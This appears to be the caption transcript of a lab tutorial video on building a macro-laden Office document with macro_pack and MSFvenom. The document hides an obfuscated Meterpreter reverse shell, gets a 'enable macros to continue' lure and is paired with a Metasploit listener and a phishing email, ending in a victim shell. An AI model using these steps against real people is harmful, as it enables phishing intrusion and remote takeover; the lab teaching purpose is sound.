WEBVTT

00:00:01.490 --> 00:00:02.040
Hey there.

00:00:02.050 --> 00:00:03.530
Welcome into our lab environment.

00:00:03.530 --> 00:00:06.290
So just to show you my current lab environment,

00:00:06.400 --> 00:00:08.390
I created two virtual machines here.

00:00:08.390 --> 00:00:12.070
This one with the dark theme is the attacker machine,

00:00:12.070 --> 00:00:16.500
and this other one here with the lighter theme is the victim machine.

00:00:17.240 --> 00:00:21.350
Both of them are Windows 10 machines with Microsoft Office installed.

00:00:22.120 --> 00:00:23.920
Since they are identical virtual machines,

00:00:24.020 --> 00:00:26.570
I set up different colors for them so I know which one is

00:00:26.570 --> 00:00:28.550
the attacker and which one is the victim.

00:00:29.640 --> 00:00:31.790
The attacker machine, which is this dark one,

00:00:31.790 --> 00:00:33.780
has disabled the Microsoft and anti‑virus,

00:00:33.780 --> 00:00:35.880
as well as the Windows firewall,

00:00:36.100 --> 00:00:39.240
and the idea here is it will be dealing with a lot of malicious payloads.

00:00:39.510 --> 00:00:42.180
So it is important that no anti‑virus is present,

00:00:42.190 --> 00:00:44.530
while you create your malicious files.

00:00:44.530 --> 00:00:49.050
Also, in the attacker machine, I already installed the Metasploit framework.

00:00:49.620 --> 00:00:51.190
And if you're not familiar with Metasploit,

00:00:51.390 --> 00:00:54.950
just a quick Google search, and you'll how to install that on your computer.

00:00:56.100 --> 00:00:57.730
So, let's get started.

00:00:57.730 --> 00:01:00.130
First, we need to download the macro_pack tool.

00:01:01.310 --> 00:01:02.590
For that, let's visit the macro_pack Github.

00:01:02.590 --> 00:01:02.600
In here,

00:01:02.600 --> 00:01:10.000
let's scroll down and go to this link that contains the Windows binaries.

00:01:10.000 --> 00:01:10.960
Perfect!

00:01:10.960 --> 00:01:12.430
In this page,

00:01:12.430 --> 00:01:15.900
I will download the executable file for the latest version of macro_pack.

00:01:17.420 --> 00:01:19.920
Then, to save us time,

00:01:19.920 --> 00:01:23.250
I already had downloaded this file and saved it into this folder here.

00:01:23.970 --> 00:01:28.350
As you can see, I have the macro_pack.exe file, which is our binary file.

00:01:29.130 --> 00:01:33.950
And also, I have a malicious.exe file, but let's not worry about this now.

00:01:34.070 --> 00:01:35.500
We'll use this file later in this demo.

00:01:35.500 --> 00:01:38.430
So let's execute macro_pack.

00:01:38.430 --> 00:01:40.750
For that, let me open the terminal,

00:01:42.890 --> 00:01:45.850
and then let me navigate to the folder where I have macro_pack.

00:01:45.850 --> 00:01:47.520
Perfect!

00:01:47.520 --> 00:01:51.350
As you can see, I have macro_pack in here.

00:01:51.350 --> 00:01:56.850
Just as a test, let's run macro_pack.exe and then ‑‑help,

00:01:57.440 --> 00:02:00.050
and this will give us the Help page of macro_pack.

00:02:00.540 --> 00:02:03.260
And it's also good away to test if everything is working fine.

00:02:04.840 --> 00:02:05.270
Awesome!

00:02:05.400 --> 00:02:08.650
As you can see, I've got here the Help page, so we're good to go.

00:02:09.500 --> 00:02:12.550
Let's get started by showing what a macro_pack is capable of.

00:02:13.140 --> 00:02:16.710
For example, let's say I want to embed a command into an Office file.

00:02:16.710 --> 00:02:17.760
For example,

00:02:17.860 --> 00:02:20.340
let's say that I want to open the Windows calculator

00:02:20.350 --> 00:02:22.320
when the victim has opened axl file.

00:02:22.320 --> 00:02:25.850
For that, I'll use this command here.

00:02:25.850 --> 00:02:31.180
First, I'll use echo, and then the command that I want to execute,

00:02:31.690 --> 00:02:36.050
in my case it's calc.exe, which is the Windows calculator.

00:02:36.840 --> 00:02:39.250
But here I could use any command that I want.

00:02:39.640 --> 00:02:41.750
So you can imagine how powerful this is.

00:02:43.040 --> 00:02:47.650
Then I use pipe, and then I use macro_pack.exe.

00:02:49.240 --> 00:02:56.640
After that, I used ‑t CMD ‑o, and then ‑G,

00:02:56.640 --> 00:02:59.650
and after that, the name of the output file.

00:03:00.840 --> 00:03:02.830
So let's take a minute to understand this.

00:03:02.830 --> 00:03:06.850
The ‑t is to specify the type of payload that I'm using here.

00:03:07.340 --> 00:03:09.650
In my case, it is a command payload.

00:03:10.670 --> 00:03:13.950
The ‑o is a flag to enable code obfuscation,

00:03:14.540 --> 00:03:18.450
meaning that the Visual Basic code will be obfuscated in the Excel spreadsheet.

00:03:19.340 --> 00:03:23.450
And then the ‑G is to specify the name of the output file,

00:03:23.940 --> 00:03:28.320
which I'll call calc.xls, since I want the axl file.

00:03:28.320 --> 00:03:30.030
Perfect!

00:03:30.040 --> 00:03:32.730
When I run this, macro_pack will create a temporary

00:03:32.730 --> 00:03:34.450
script file with my command in it.

00:03:35.030 --> 00:03:38.280
And then we incorporate this script file into the Excel spreadsheet.

00:03:38.280 --> 00:03:44.750
And once that is completed, I have in my file a folder called calc.xls.

00:03:45.640 --> 00:03:47.050
So let's open it.

00:03:49.520 --> 00:03:49.900
Perfect!

00:03:49.900 --> 00:03:50.400
Take a look.

00:03:50.590 --> 00:03:51.880
This looks like a normal file.

00:03:52.240 --> 00:03:55.460
The only difference here is a security warning for macros,

00:03:55.460 --> 00:03:59.950
but when I enable the macros, my script will be run in the background.

00:04:00.740 --> 00:04:04.190
And as you can see, the calculator is open on the background.

00:04:05.340 --> 00:04:07.350
Now imagine what you could do with this.

00:04:07.740 --> 00:04:10.510
You could hide any command into an Excel spreadsheet,

00:04:10.710 --> 00:04:12.950
and the victim would not even know what's happening.

00:04:14.110 --> 00:04:16.050
Now, let's go for a more interesting example,

00:04:16.899 --> 00:04:21.550
Let's say I want to masquerade a Meterpreter reverse shell into a Word document.

00:04:22.240 --> 00:04:24.620
In this way, when the victim opens the file,

00:04:24.630 --> 00:04:26.270
I would get access to their computer.

00:04:27.440 --> 00:04:28.520
So let's see how that's done.

00:04:28.520 --> 00:04:32.350
As I mentioned, I already have Metasploit installed on this machine.

00:04:32.890 --> 00:04:36.210
So I'll use the tool MSFvenom to create my malicious payload.

00:04:36.850 --> 00:04:37.800
And if you're not familiar,

00:04:37.930 --> 00:04:41.360
MSFvenom is a tool to create malicious payload for Metasploit.

00:04:41.360 --> 00:04:46.990
Then I use the option ‑p, which is to specify the malicious payload that we want.

00:04:46.990 --> 00:04:51.960
In my case, I will use the Windows 64‑bit Meterpreter reverse shell.

00:04:51.960 --> 00:04:53.510
After that,

00:04:53.510 --> 00:04:57.810
I should also put the option LHOST to specify the IP of my attacker machine,

00:04:58.520 --> 00:05:05.230
and then use the flag ‑f with vba to specify that I want a Visual Basic script.

00:05:05.230 --> 00:05:05.850
Perfect!

00:05:05.850 --> 00:05:08.060
This command will generate the payload.

00:05:08.430 --> 00:05:08.750
Now,

00:05:08.750 --> 00:05:12.950
all I have to do its pipe this into the macro_pack tool and

00:05:12.950 --> 00:05:19.350
use the flag ‑o to obfuscate the code, and then ‑G to specify my output file,

00:05:19.780 --> 00:05:22.250
which in here I'll call reports.doc.

00:05:23.440 --> 00:05:23.970
Perfect!

00:05:23.980 --> 00:05:25.250
Once I execute this,

00:05:25.250 --> 00:05:28.580
the MSFvenom will generate the Visual Basic payload that

00:05:28.580 --> 00:05:30.360
contains the Meterpreter reverse shell,

00:05:30.360 --> 00:05:34.050
and this payload will connect to my attacker machine and

00:05:34.050 --> 00:05:36.050
give me show access to the victim machine.

00:05:36.840 --> 00:05:38.700
And after the payload is generated,

00:05:38.700 --> 00:05:43.990
macro_pack will masquerade this malicious code into a Microsoft Excel file.

00:05:43.990 --> 00:05:46.110
And this may take a few minutes.

00:05:46.360 --> 00:05:50.140
So I will speed up this video to save us some time.

00:05:50.140 --> 00:05:52.690
And we're done.

00:05:52.690 --> 00:05:57.300
To make this more convincing, I can open this file and edit the content.

00:05:57.300 --> 00:06:00.560
For example, we can make this look like a real report,

00:06:00.710 --> 00:06:02.850
or we can simply write something like,

00:06:02.850 --> 00:06:06.350
this report could not be loaded; enable macros to continue.

00:06:07.040 --> 00:06:08.650
Most people when seeing this message,

00:06:08.660 --> 00:06:11.350
will go ahead and click on the Allow Macros button.

00:06:12.240 --> 00:06:16.530
So let's just save this file and close Microsoft Word.

00:06:16.530 --> 00:06:19.520
Now that we have our malicious file already,

00:06:19.520 --> 00:06:23.200
we need to set up a Metasploit listener for this malicious payload.

00:06:24.040 --> 00:06:27.110
So in here, I'm assuming you already have some experience in Metasploit,

00:06:27.110 --> 00:06:31.550
but if not, feel free to pause this video and understand what I'm doing.

00:06:32.940 --> 00:06:36.450
So first, I will open the Metasploit using the MFS Console.

00:06:38.200 --> 00:06:40.850
Then I will use this generic exploit handler.

00:06:41.940 --> 00:06:44.550
And then I will set the payload type as the same

00:06:44.550 --> 00:06:55.410
payload I used with the MSFvenom, which is windows/x64/meterpreter/reverse_tcp.

00:06:55.410 --> 00:06:55.490
Done.

00:06:55.490 --> 00:07:00.280
Now let me set the LHOST variable, which is my attacker IP, and we are done.

00:07:00.280 --> 00:07:04.800
All that we have to do this type run and press Enter.

00:07:04.800 --> 00:07:05.980
Awesome!

00:07:06.110 --> 00:07:09.090
As we can see, the Meterpreter listener is up and running.

00:07:10.040 --> 00:07:12.440
Now that we have our malicious payload ready and we

00:07:12.440 --> 00:07:13.870
also have the listener ready,

00:07:13.870 --> 00:07:17.730
all that we have to do is writing a convincing phishing email to our

00:07:17.730 --> 00:07:20.750
victim and put the malicious report as an attachment.

00:07:21.240 --> 00:07:22.450
And I'll leave this step for you.

00:07:23.140 --> 00:07:25.250
So let's go to our victim machine now.

00:07:27.040 --> 00:07:29.550
In here, I have the malicious report that we created.

00:07:30.040 --> 00:07:33.260
In theory, the victim doesn't even need to save the file on the disk.

00:07:33.590 --> 00:07:35.050
They only need to open the file.

00:07:36.040 --> 00:07:39.030
So let's go ahead and open the report.

00:07:39.030 --> 00:07:41.160
In here, hopefully,

00:07:41.160 --> 00:07:44.950
the victims will fall for this message and click on the Enable Content button.

00:07:45.340 --> 00:07:47.450
And if they do, nothing will happen.

00:07:48.040 --> 00:07:50.370
For the victim, it seems that nothing changed,

00:07:50.370 --> 00:07:54.450
and usually the person will just close the document and move on with their life.

00:07:55.440 --> 00:07:57.710
But now let's go back to the attacker machine.

00:08:00.040 --> 00:08:00.650
Here, take a look.

00:08:00.650 --> 00:08:04.130
In the Metasploit listener, it says that I have one new session,

00:08:04.430 --> 00:08:05.850
meaning that our payload worked.

00:08:06.510 --> 00:08:08.690
Now let me open a shelter victim machine.

00:08:09.930 --> 00:08:12.050
Now, I'm in control of the victim machine.

00:08:12.540 --> 00:08:13.560
And if you look closely,

00:08:13.670 --> 00:08:17.480
you see that I have the same permissions as the user that executed the file.

00:08:17.480 --> 00:08:18.780
And that's perfect.

00:08:18.980 --> 00:08:21.750
In just a few minutes, we were able to generate a malicious report,

00:08:21.890 --> 00:08:25.450
continue our Word shell, and then get a shelter victim computer.